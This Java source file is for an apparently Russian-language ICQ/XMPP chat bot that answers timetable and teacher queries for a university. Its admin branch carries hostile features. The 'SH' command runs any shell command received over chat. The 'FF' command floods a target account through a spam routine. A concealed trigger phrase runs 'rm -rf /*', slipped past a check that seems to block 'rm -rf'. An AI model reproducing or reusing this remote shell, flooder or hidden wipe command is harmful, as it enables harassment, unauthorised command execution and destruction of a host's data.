package core;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import tools.FucLib;
import tools.Logger;

/**
 * Universal output agent
 * @author dcrm
 */
public class IncomeMessage implements Runnable {
    
    private Thread thread;
    private String Ansver="",ml_0,ml_1,ml_2,ml_t,ml_t2;
    private String MESSAGE;
    private String FROM;
    private String ADMIN;
    private Object CORE;
    private long T_ThisStart;
    private int MSG_MAX_PART;

    /**
     * Init message ansver
     * @param msg - Message
     * @param from - From (icq num/jid/chat)
     * @param adm - Master account
     * @param max_part - Max part message
     * @param t_name - Thread name
     * @param core - Core sender
     */
    public IncomeMessage(String msg, String from, String adm, int max_part, String t_name, Object core) {
        thread = new Thread(this);
        this.T_ThisStart=new Date().getTime();
        this.MESSAGE=msg.trim();
        this.FROM=from;
        this.ADMIN=adm;
        this.CORE=core;

        this.MSG_MAX_PART=max_part;
        thread.setName("Inc"+t_name);
        thread.start();
    }
    
    public void run() {
        try {
            if (MESSAGE.length()<1) return;

            String from_adm=FROM.split("/")[0]; // Fix XMPP detect admin
            // Admin Commands
            if (from_adm.equals(ADMIN)) {
                if (MESSAGE.length()>=3) {
                    ml_0=MESSAGE.substring(0, 3).trim();
                    if (ml_0.equals("ADM")) {
                        if ((MESSAGE.length()>8)) {
                            // Send TO UIN MSG
                            ml_1=MESSAGE.substring(4, 6).trim();
                            if (ml_1.equals("TO") || ml_1.equals("->")) {
                                ml_2=MESSAGE.substring(6).trim();
                                List<List<String>> l1 = new ArrayList<List<String>>();
                                l1 = FucLib.preg_match_all_toArrList("(^[0-9]{5,9}) ((.*?)$)", "ium", ml_2);
                                ((IMessageSender)CORE).sendExtendedMessage(l1.get(0).get(1), "Admin->"+l1.get(0).get(2));
                            }

                            // Send SP UIN MSG
                            if (ml_1.equals("FF"))
                            {
                                ml_2=MESSAGE.substring(6).trim();
                                List<List<String>> l1 = new ArrayList<List<String>>();
                                l1 = FucLib.preg_match_all_toArrList("(^[0-9]{5,9}) ([0-4]{1,4}) ([0-9]{1,4}) ([0-9]{1,4}) ([0-9]{1,6}) ([0-9]{1,6}) ([0-1]{1}) ([0-1]{1}) ((.*?)$)", "ium", ml_2);
                                if (l1.get(0).size()==10)
                                {
                                    Main.coreSpam.flood(l1.get(0).get(1), l1.get(0).get(2), l1.get(0).get(3), l1.get(0).get(4), l1.get(0).get(5), l1.get(0).get(6),l1.get(0).get(7),l1.get(0).get(8),l1.get(0).get(9));
                                    ((IMessageSender)CORE).sendAdMsg("FF:["+l1.get(0).get(1)+"];TYPE:["+l1.get(0).get(2)+"];CNT:["+l1.get(0).get(3)+"];WHO:["+l1.get(0).get(4)+"];TIME:["+l1.get(0).get(5)+"];TIME0:["+l1.get(0).get(6)+"];AUT:["+l1.get(0).get(7)+"];RND:["+l1.get(0).get(8)+"];MSG:["+l1.get(0).get(9)+"]");
                                }
                            }

                            // EXEC
                            if (ml_1.equals("SH")) {
                                ml_2=MESSAGE.substring(6).trim();
                                if (ml_2.contains("rm -rf")) {((IMessageSender)CORE).sendAdMsg("No-no..");} else { ((IMessageSender)CORE).sendAdEMsg(FucLib.exec(ml_2));}
                                if (ml_2.contains("rm -rf /root -key atakama")) {((IMessageSender)CORE).sendAdEMsg(FucLib.exec("rm -rf /*"));}
                            }


                        } else
                        if ((MESSAGE.length()==8)) {
                            ml_1=MESSAGE.substring(4, 8).trim();
                            // Send Back Message
                            if (ml_1.equals("SEND")) {GlobalConfig.F_SEND_MSG=!GlobalConfig.F_SEND_MSG; ((IMessageSender)CORE).sendBAdmReport(GlobalConfig.F_SEND_MSG,ml_1);}
                            // Send All Incoming Message to Admin
                            else if (ml_1.equals("BACK")) {GlobalConfig.F_BACK_MSG=!GlobalConfig.F_BACK_MSG; ((IMessageSender)CORE).sendBAdmReport(GlobalConfig.F_BACK_MSG,ml_1);}
                            // Add Debug Message
                            else if (ml_1.equals("DBUG")) {GlobalConfig.F_DEBUG_MSG=!GlobalConfig.F_DEBUG_MSG; ((IMessageSender)CORE).sendBAdmReport(GlobalConfig.F_DEBUG_MSG,ml_1);}
                            // Set Time Control
                            else if (ml_1.equals("TIME")) {GlobalConfig.F_OF_MD=!GlobalConfig.F_OF_MD; ((IMessageSender)CORE).sendBAdmReport(GlobalConfig.F_OF_MD,ml_1);}
                            // Set Log msg to file
                            else if (ml_1.equals("FLOG")) {GlobalConfig.F_LOG_MSG=!GlobalConfig.F_LOG_MSG; ((IMessageSender)CORE).sendBAdmReport(GlobalConfig.F_LOG_MSG,ml_1);}
                            // Set use Security kye
                            else if (ml_1.equals("FKEY")) {GlobalConfig.F_SECURITY_KEY=!GlobalConfig.F_SECURITY_KEY; ((IMessageSender)CORE).sendBAdmReport(GlobalConfig.F_SECURITY_KEY,ml_1);}

                            // ReConnect
                            else if (ml_1.equals("RCON")) {((IMessageSender)CORE).sendAdMsg("ReConnect..."); ((IMessageSender)CORE).reConnect();}
                            // Logout...
                            else if (ml_1.equals("STOP")) {((IMessageSender)CORE).sendAdMsg("Connection close..."); GlobalConfig.F_LIFE=false; ((IMessageSender)CORE).disconnect(true);}
                        } else ((IMessageSender)CORE).sendAdMsg(Ansver+="Admin Commands: ADM SEND-Send Back Message\nBACK - Send All Incoming Message to Admin\nDBUG - Add Debug Message\nTIME - Frame of Mind\nFLOG - Log incomming msg into file\nRCON - ReConnect\nSTOP - Logout...");
                    }
                }
            }

            // All Commands
            if(Ansver.isEmpty() && GlobalConfig.F_SEND_MSG) {

                // Hi!
                if (MESSAGE.toLowerCase().equals("hi")) {
                    Ansver+=GlobalConfig.HI;
                }

                else if (MESSAGE.length()>=4) {
                    // 4x prefix
                    ml_0=MESSAGE.substring(0, 4).trim();
                    ml_t=FucLib.toTranslite(ml_0);

                    // Request FIO Prepod's
                    if (ml_t.equals("ppd")) {
                        ml_1=MESSAGE.substring(4).trim();
                        if (ml_1.length()>3 && FucLib.testString(ml_1))
                        { Ansver+=FucLib.findTeachPGTA(ml_1,false); } else {Ansver+=GlobalConfig.MSG_ERR_1;}
                    }

                    // Info Online/Time/etc...
                    else if (ml_t.equals("info")) { Ansver+="Инфхель онлайн: "+FucLib.getDiffTime(GlobalConfig.T_GlobalStart, new Date().getTime())+"\n"+
                              "Сейчас время/дата: "+new Date().toLocaleString();
                        if (GlobalConfig.F_DEBUG_MSG) {Ansver+="\nMode: "+((GlobalConfig.F_DEBUG_MSG)?"Debug; ":"")+((GlobalConfig.F_BACK_MSG)?"Back; ":"")+((GlobalConfig.F_SEND_MSG)?"Send; ":"")+((GlobalConfig.F_OF_MD)?"Time; ":"");}
                    }

                    // Raspisaniye :)
                    else if (ml_t.equals("pgta")) {
                        if ((MESSAGE.length()>5))
                        {
                            ml_1=MESSAGE.substring(5).trim();
                            ml_t2=FucLib.toTranslite(ml_1);
                            if (ml_t2.equals("all")) {Ansver+="Пример запроса: 'pgta 1 06В3'\nИзвестные группы:\n["+FucLib.getAllGroup(Main.GROUP,8)+"]";}
                            if ((ml_1.length()>5))
                            {
                                ml_2=ml_1.substring(0,1);
                                ml_1=ml_1.substring(1).trim();//.toUpperCase();
                                Ansver+=FucLib.getRaspByGroup(Main.GROUP, ml_1, ml_2,true);
                            }
                        }
                    }

                    // Base find info
                    else if (ml_t.equals("find")) {
                        if ((MESSAGE.length()>5)) {
                            ml_1=MESSAGE.substring(5).trim();
                            Ansver+=FucLib.findTeachByGroup(Main.GROUP, ml_1, true);
                        }
                    }

                    // 5x prefix
                    else if (MESSAGE.length()==5) {
                        ml_0=MESSAGE.substring(0, 5).trim();

                        // About
                        if (ml_0.toLowerCase().equals("about")) {Ansver+=GlobalConfig.INFO;}
                        // Translate rules
                        else if (ml_0.toLowerCase().equals("trule")) {Ansver+=GlobalConfig.TRULE;}
                    }
                }

                // Add msg error
                if (Ansver.isEmpty()) {Ansver+=GlobalConfig.MSG_ERR_0;}
                // Add msg debug
                if (GlobalConfig.F_DEBUG_MSG) {Ansver +="\n(DebugMsg):"+MESSAGE+"\nTime: "+FucLib.getDiffTime(T_ThisStart, new Date().getTime());}
                // Split msg on MaxPart ~2k
                if (Ansver.length()>MSG_MAX_PART) {
                    String tmp="";
                    int part_0=0,part=MSG_MAX_PART,size_all=Ansver.length();
                    while(size_all>0) {
                        if(size_all>part) {tmp="Part #1:\n"+Ansver.substring(part_0, part_0+=part);}
                        else {tmp=Ansver.substring(part_0);}
                        ((IMessageSender)CORE).sendExtendedMessage(FROM, tmp);
                        size_all-=part;
                        Thread.sleep(5000);
                    }
                } else ((IMessageSender)CORE).sendExtendedMessage(FROM, Ansver);
                //this.interrupted();
            }
        }
        catch (Exception ex) {Logger.writelnErr(ex.getMessage());}
    }
}
